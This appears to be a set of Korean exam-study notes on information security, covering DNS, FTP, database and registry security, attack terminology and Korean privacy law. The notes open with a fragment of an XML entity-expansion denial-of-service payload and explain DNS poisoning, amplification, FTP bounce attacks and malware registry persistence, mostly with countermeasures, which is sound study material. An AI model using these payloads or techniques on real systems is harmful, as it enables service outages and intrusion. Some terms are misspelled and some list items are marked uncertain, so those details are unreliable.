DoS 공격: 엔티티 참조를 반복하면서 메모리 고갈, 이로 인한 서비스 불가 <!ENTITY lol "lol"><!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
웹 보안 방안
쿠키 보안: 서버에서 클라이언트 데이터를 저장하는 방법 중 하나
쿠키: 클라이언트(브라우저) 로컬에 저장되는 키와 값이 들어있는 작은 데이터 파일
Secure: 쿠키 옵션 중 하나로, true이면 HTTPS 프로토콜을 이용하는 경우에만 쿠키 전송 가능, 전송 중 평문 쿠키 노출을 방지 가능
HttpOnly: 쿠키 옵션 중 하나로, true이면 자바스크립트에서 쿠키 접근이 제한됨, 허용하면 XSS 공격에 취약하게 되므로 주의
부하 분산: 같은 도메인에 대하여 여러 IP 지정 가능, 따라서 DNS서버는 IP 번갈아가면서 알려줄 수 있음
DNS 캐시: 상위 DNS 서버에 질의하는 부하를 줄이기 위함
TTL: DNS 서버 정보를 캐시에 보관하는 기간(통상 2일)
DNS Zone transfer(53/tcp): 여러 DNS 서버끼리의 데이터베이스(zone)를 복제 또는 동기화할 수 있게 해주는 방법
AXFR : 존 버전에 상관없이 무조건 존 전송 요청 IXFR : 존 버전을 비교하여 상위 버전일 경우 존 요청 재귀적 질의 제한 : recursion no;
윈도우 DNS 서버 설정 절차
영역 등록: 도메인 DNS서버를 등록하는 절차
호스트 등록: DNS서버에 서비스 정보 입력하는 절차
Zone 정보 동기화 방법(named.conf) allow-transfer { 슬레이브 서버 IP };
(윈도우) dns 테이블 조회 ipconfig /displaydns dns
(윈도우) dns 테이블 삭제 ipconfig /flushdns
관련 공격
DNS Cache Poisoning 공격: 사용자에게 전달되는 DNS 서버의 캐시 정보를 조작하여 의도치않은 사이트로 접속하게 만드는 공격
사용자가 사이트에 접속 시도(DNS 질의) > 공격자가 정상 응답보다 빠르게 희생자에게 조작된 DNS 응답을 보냄 > 캐시 DNS 서버에 조작된 주소 정보가 저장됨 > 먼저 수신한 응답 신뢰 특성으로 인해 이후 들어온 정상 응답 폐기 > 사용자는 조작된 주소 사이트로 접속
DNS 증폭 공격(Amplication): DNS 질의는 인증 절차가 없다는 점을 이용
DNS 질의 트래픽은 요청량보다 DNS서버로부터의 응답량이 많다는 점을 이용
공격자가 중계DNS서버에 DNS 쿼리의 Type을 ANY로 변경한 후 출발지를 피해자 IP로 수정 > 중계DNS서버는 ANY요청에 따라 A, NS, CNAME 등 모든 정보 응답
IP 기반 DNS 증폭 공격: IP Spoofing을 사용하여 출발지 IP를 피해자 IP로 위조한 후 다수의 DNS 질의 수행하는 공격
ANY 또는 TXT 쿼리 타입 이용: 요청 패킷 크기보다 응답 패킷 크기가 크기 때문
FTP(File Transfer Protocol)
인터넷 기반 파일 전송 프로토콜
동작 원리: FTP 서비스 제공하는 서버와 접속하는 클라이언트 사이에 2개의 연결이 생성됨
21/TCP: 데이터 전송을 제어하기 위한 신고 주고 받기 위함
20/TCP: 실제 데이터 전송에 사용됨
공격 유형
FTP Bounce 공격: FTP 서버가 데이터 채널(20) 생성 시 목적지를 검사하지 않는 프로토콜 구조적 취약점 이용
익명 FTP 서버를 이용해 공격자가 Port 명령을 조작하여 공격 대상의 네트워크 및 포트 스캔, 거짓 메일, 데이터 전송 등이 가능
대응방안: FTP 서버 업데이트, 자료 전송할 때 1024번 포트보다 낮은 포트번호로 접속하지 않도록 설정
Anonymous FTP 공격: anonymous 접속이 허용된 상태에서는 누구든지 anonymous 또는 ftp라는 이름으로 FTP 실행해 접근 가능. 이를 통해 악성코드 업로드 가능
판단방법: 21번 포트에서 탐지되었으며, 사용자명이 본래 계정이 아닌 경우
대응방안: anonymous FTP 불필요한 경우 비활성화
> userdel ftp
> userdel anonymous
> vsFTP인 경우, vi /etc/vsftpd.conf 들어가서 anonymous_enable=NO 설정하기
TFTP 공격: 69/UDP 사용하고 인증절차 없기 때문에 접근제어 여부에 따라 임의로 디렉터리 및 파일 접근 가능
대응방안: TFTP 불필요한 경우 비활성화
SFTP(포트 22번): SSH 방식을 이용하여 안전하게 암호화된 구간에서 FTP 기능 이용
ftpusers : 접속을 제한할 계정정보
vsftpd.conf에 userlist_enable=YES로 설정했을 때, user_list로 제어가능
vsftpd.conf의 tcp_wrappers=YES로 설정시 hosts.allow, hosts.deny 파일 사용가능
데이터베이스 보안
접근제어정책
DAC(Discretionary Access Control, 임의적 접근통제): 접근주체 신분 기반으로 권한 부여
특징: ACL 사용
MAC(Mandatory Access Control, 강제적 접근통제): 주체, 객체 등급 기반으로 권한 부여
TDE(Transparent Data Encryption) 방식: 특정 데이터 영역을 암호화 (DBMS 내장 기능)
DB 점검
file_priv : 읽기 쓰기 권한
process_priv : 서버 프로세스, 스레드 정보 조회, 중지
shutdown_priv : 서버 종료
악성코드 분석
악성코드 유형
dropper 유형 : 동작할 때 악성파일을 생성
인젝터Injecter : 드롭퍼의 특수형태. 메모리상에 악성코드 생성
분석방법
정적분석 : 아이다, 올리디버거 등의 도구 사용
동적분석 : 샌드박스에서 직접 실행
윈도우 레지스트리
HKCR (HKEY_CLASS_ROOT) : 확장자와 연결프로그램
HKCU (HKEY_CURRENT_USER) : 로그인중인 사용자의 설정, 프로파일
HKLM (HKEY_LOCAL_MACHINE) : 시스템 전체 하드웨어, 응용프로그램
HKU (HKEY_USERS) : 사용자별 키 항목, 프로파일
HKCC (HKEY_CURRENT_CONFIG) : 윈도우 하드웨어 프로필
start=auto : 서비스 자동 실행
CurrentControlSet\Services : 제어판 서비스 의미
CommandPrompt : 마우스 우클릭
~\shell\open\command : 특정확장자파일 실행시 악성코드실행
FirewallPolicy\StandardProfile : 방화벽
AuthorizedApplication\List : 방화벽에 악성코드예외등록
Explorer\Advanced : Hidden 0 또는 2 숨김파일표시
Explorer\Advanced : ShowSuperHidden 0 보호된 운영체제 파일 숨기기
UnCheckedValue 값을 0으로 설정하면 다른 사용자들이 보호된 운영체제 파일 숨기기 옵션을 해제할수없다
암호 알고리즘 다운그레이드 툴: 프리크, 로그잼, 푸들, 드라운
용어
설명
Pass the Hash 공격
- password에 대한 hash값을 사용하는 환경에서, hash값을 획득한 후 해당 값을 사용하여 인증을 통과하는 공격 - 즉, 원격 서버나 서비스에 접속할 때 사용자의 실제 password를 모르는 상태에서 hash값을 사용하여 접속 인증을 받는 공격 기법 - 윈도우의 LM(LAN Manager) 또는 LTLM 인증 프로토콜을 사용하는 서버나 서비스의 경우 Pass the Hash 공격이 가능함 - 주로 mimikatz 툴을 이용함
Credential Stuffing
무차별 대입 공격의 일종으로 공격자가 미리 확보해 놓은 로그인 자격 증명을 다른 계정에 무작위로 대입해 사용자 계정을 탈취하는 공격 방식
Robots.txt
웹 사이트에 로봇 에이전트(agent)가 접근하여 크롤링 하는 것을 제한하기 위한 파일의 파일명
DDE(Dynamic Data Exchange)
- MS Office 프로그램에 내장된 정상기능으로 프로그램 간 데이터를 공유하기 위해 사용 - 해당 기능을 활성화 시 악용될 수 있음
DGA(Domain Generation Algorithm)
- DDoS, APT 등 공격 수행 시 공격 대상 시스템에 설치된 악성코드가 C&C와 통신하는 과정에서 특정한 규칙에 따라 도메인명을 임의로 생성하는 알고리즘 - 보안장비의 탐지를 우회하기 위한 기법
Domain Shadowing
적법한 절차로 도메인을 소유하고 있는 도메인 관리자의 개인 정보를 탈취하여, 도메인 소유자 몰래 많은 서브도메인을 등록시켜 놓고 사용하는 기법
모바일 딥링크
- 모바일 앱의 특정화면으로 바로 이동할 수 있도록 지원하는 기능 - 공격자에 의하여 악용되는 경우 앱내 민감한 개인정보(카드정보, 주소 등)가 노출될 수 있는 취약점 존재
세션 하이재킹
공격 대상이 이미 시스템에 접속되어 세션이 연결되어 있는 상태를 가로채는 공격 기법
서브도메인 하이재킹
- 클라우드 서비스 이용을 위해 서브 도메인에 CNAME 설정하여 사용 중, 서비스 이용을 중지 했지만 DNS의 CNAME 설정은 삭제하지 않아 공격자가 피싱 사이트로 악용하는 공격 - 대응방안: 미사용 도메인의 sub DNS 삭제
웹 프록시(Web Proxy)
- 웹 서버를 대신하여 자신이 마치 웹 서버인 것처럼 동작을 대행해준다. 브라우저로부터 연결 요청에 대하여 대신 응답함 - 대표 툴: paros, burp suite 등
MySQL
- my.cnf: MySQL 설정파일 - skip-networking: 설정파일 내 옵션으로, 외부 네트워크 접근 차단(로컬에서만 접근 가능)
memcached 서버
- 데이터베이스 로드를 줄여 웹 애플리케이션 속도를 높이는데 사용되는 오픈소스 분산 메모리 캐싱 시스템 - 웹 애플리케이션의 임시 데이터 저장용 메모리로 이해하기 - 최근 Github의 memcached 서버가 DDoS 공격을 받음
DB 보안 관리 방법
접근통제 추론통제 흐름통제
집성 Aggregation
낮은 보안 등급 정보조각을 조합해 높은 보안등급 정보 알아냄
추론 Inference
비보안 정보를 보고 기밀정보 유추 (통계정보 등)
권한 부여 명령어
GRANT ~ ON ~ TO ~
권한 회수 명령어
REVOKE ~ ON ~ FROM ~
=============
정보보호 관리체계(ISMS) [기무가/절수지]
정보자산의 기밀성·무결성·가용성을 보장하기 위한 절차와 과정을 체계적으로 수립, 문서화하고 지속적으로 관리·운영하는 체계
1) 정보주체의 동의 2) 법률에 특별한 규정, 법령상 의무 준수를 위해 불가피 3) 공공기관이 소관업무의 수행을 위해 불가피 4) 정보 주체와 체결한 계약 이행 및 계약과정에서 주체의 요청에 따른 이행 5) (?) 주체 및 제3자의 급박한 생명, 신체, 재산의 이익을 위해 필요하다고 인정되는 경우 6)개인정보처리자의 정당한 이익이 정보 주체의 권리보다 명백히 우선하는 경우 7) (?) 공중위생 등 공공의 안전과 안녕
개인정보 제3자 제공 (제공받는 자)
1) 주체의 동의 2) 법률에 특별한 규정, 법령상 의무 준수 3) 공공기관이 소관업무의 수행 5) 주체 및 제3자의 급박한 생명, 신체, 재산의 이익을 위해 필요하다고 인정되는 경우 6) 개인정보처리자의 정당한 이익이 정보 주체의 권리보다 명백히 우선하는 경우 7) 공중위생 등 공공의 안전과 안녕
이 때 고지해야 할 사항 1) 제공받는자 2) 제공받는자의 개인정보 이용목적 3) 제공하는 개인정보 항목 4) 제공받는자의 개인정보 보유 및 이용 기간 5) 거부권리 및 불이익 있을시 불이익 내용
목적 외 이용제공
1) 주체의 동의 2) 법률에 특별한 규정 3) 공공기관이 소관업무의 수행 5) 주체 및 제3자의 급박한 생명, 신체, 재산의 이익을 위해 필요하다고 인정되는 경우 7) 공중위생 등 공공의 안전과 안녕
위탁하는 업무의 내용과 위탁받아 처리하는자(수탁자)를 알리는 방법
1) 인터넷 홈페이지에 지속적으로 게재 2) 사업장 등의 보기 쉬운 장소에 게시 3) 같은 제목으로 연 2회이상 발행해 정보주체에게 배포하는 간행물, 홍보지, 청구서 등에 지속해서 싣는 방법
서비스 홍보나 판매 등 마케팅 목적은 서면 등으로 알려야 함
개인정보 처리방침
포함 항목
개인정보 처리 목적, 처리하려는 개인정보 항목, 처리 및 보유기간
개인정보의 파기절차 및 파기방법
(해당되는 경우)위탁에 관한 사항, 제3자 제공에 관한 사항
정보주체의 권리, 의무, 행사방법에 관한 사항
개인정보 보호책임자 성명 또는 개인정보 보호업무를 하는 부서명, 연락처
개인정보의 안전성 확보조치에 관한 사항
인터넷 접속정보파일 등 개인정보를 자동으로 수집하는 장치의 설치, 운영, 거부에 관한 사항
게재 방법
인터넷 홈페이지에 지속적으로 게재
사업장 등 보기 쉬운 장소에 게시
같은 제목으로 연 2회이상 발행해 정보주체에게 배포하는 간행물, 홍보지, 청구서 등에 지속해서 싣는 방법
재화나 용역 제공하기 위하여 개인정보처리자와 정보주체가 작성한 계약서 등에 실어 정보주체에게 발급
개인정보 기술적, 관리적 보호조치 기준
개인정보취급자 비밀번호 작성규칙
비밀번호 복잡도 및 길이 충족(영문, 숫자, 특수 문자 중 2종류 이상 조합 시 10자리 이상, 3종류 이상 조합 시 8자리 이상의 길이로 구성)
유추하기 어려운 비밀번호 사용(연속적인 숫자나 생일, 전화번호 등 추측하기 쉬운 것은 사용하지 않기)